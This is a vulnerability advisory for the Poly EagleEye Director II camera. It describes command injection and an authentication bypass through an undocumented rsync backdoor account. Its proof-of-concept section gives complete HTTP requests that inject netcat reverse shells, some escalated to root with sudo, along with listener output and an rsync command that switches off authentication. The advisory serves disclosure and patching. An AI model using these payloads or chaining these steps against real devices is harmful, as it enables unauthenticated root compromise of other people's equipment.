Vendor description
"Why settle for a one-size-fits-all view of your conference room? EagleEye Director II takes video conferencing and conference room web cameras to the next level—with people-tracking technology and automatic zoom. You’ll find that when people aren’t worrying about staying in camera view or how to work a remote control, they stay focused on the bigger issue—solving critical business problems."
Source: https://www.poly.com/us/en/products/video-conferencing/studio/studio-x50
Business recommendation
The vendor provides a patch which should be installed immediately.
Vulnerability overview/description
1) Multiple Authenticated Command Injection Vulnerabilities (CVE-2022-26482)
When logged on to the administration web interface, command injection payloads can be inserted in at least four different fields. This happens because the user input is not escaped and gets concatenated with a string which is executed afterwards with "os.system()". The webserver was started as "www-data" who has sudo privileges.
2) Authentication Bypass (CVE-2022-26479)
The authentication can be bypassed by creating a specific file on the file system. If this file is created, every API call is executed as admin with no further authentication (sessionid). This behavior could not be found in any documentation. The creation of this file was possible with rsync for which a backdoor account was found. The rsync daemon runs on port 873 and provides the modules "/flag" and "/update".
The combination of 1) and 2) leads to an privileged unauthenticated OS command injection.
Proof of concept
1) Multiple Authenticated Command Injection Vulnerabilities (CVE-2022-26482)
When logged into the web interface, the name of the device can be changed in the settings. A command can be injected with $(<command>) in the name. To bypass the length-limit the payload can be changed in the POST request, which looks as follows:
POST /api/deviceName HTTP/1.1
Host: 10.0.0.3
Cookie: sessionid=ovizy1tgavf9ipd2ha1g6zu379oopqcn; language=StringResource.de-DE
Connection: close
{"deviceName":"EEDII-Master $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.5 8888>/tmp/f)"} It looks as follows on the host system, where an nc listener was started:
$ nc -lvp 8888
connect to [10.0.0.5] from (UNKNOWN) [10.0.0.3]
$ whoami
www-data Sudo allowed executing commands as root:
$ sudo whoami
root Also the following request results in command execution. This request was not intercepted but reconstructed from the source code of the application.
POST /api/region HTTP/1.1
Host: 10.0.0.3
Cookie: sessionid=ovizy1tgavf9ipd2ha1g6zu379oopqcn; language=StringResource.de-DE
Content-Length: 45
{"region":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.5 9999 >/tmp/f)"} When enabling 802.1X, one can see that the payload "sudo sh" works as well. In this case an attacker is root immediately:
POST /api/region HTTP/1.1
Host: 10.0.0.3
Cookie: sessionid=ovizy1tgavf9ipd2ha1g6zu379oopqcn; language=StringResource.de-DE
Content-Length: 45
{"region":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.5 9999 >/tmp/f)"} When generating a certificate, the following payload can be injected to execute a reverse shell:
POST /api/certificate HTTP/1.1
Host: 10.0.0.3
Cookie: language=StringResource.de-DE; sessionid=vxxs25a2mcn5xz4ndjao9noogpqc7yy2
Connection: close
{"name":"EagleEyeDirectorII.polycom.com\n","country":"US","province":"California","city":"San Jose","organization":"Polycom Inc. \":\"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sudo sh -i 2>&1|nc 10.0.0.5 7777 >/tmp/f)","organizationUnit":"Video Division"} 2) Authentication Bypass (CVE-2022-26479)
Step 1 - Find the rsync backdoor account
The rsync modules "/flag" and "/update" are configured to require authentication. In the rsync config file "/etc/rsyncd.conf" the file "/etc/rsyncd.scrt" was set as secrets file which contains the following "user:password" in plain text. This user was not found in any documentation:
visage:<PoC removed> Step 2 - Find the authentication bypass
The source code in "/www/DjangoTest/TestApp/api2.py" contains the following code snippet:
def checkCookie(request):
<snipped>
filename = "/data/local/tmp/runAutomationFlag"
if (os.path.exists(filename)):
logger.info("run automation, do not check cookie")
return "success"
else:
<snipped> If the file "runAutomationFlag" exists in "/data/local/tmp", the cookie is not going to be checked anymore. Coincidentally, the rsync module "/flag" is configured for the path "/data/local" so a "/tmp" needs to be attached. To exploit this authentication bypass the runAutomationFlag file can be copied to the remote path as follows:
$ touch runAutomationFlag
$ rsync -av ./runAutomationFlag rsync://visage@10.0.0.3:873/flag/tmp
Password
sending incremental file list
runAutomationFlag Now the file is in the specific location:
$ pwd
/data/local/tmp
$ ls
rebootcnt.txt
runAutomationFlagThe payloads from 1) can now be sent unauthenticated since the cookies are not checked anymore. This behavior is not documented.
Vulnerable / tested versions
Version 2.2.1.1 (Jul 1, 2021) was found to be vulnerable.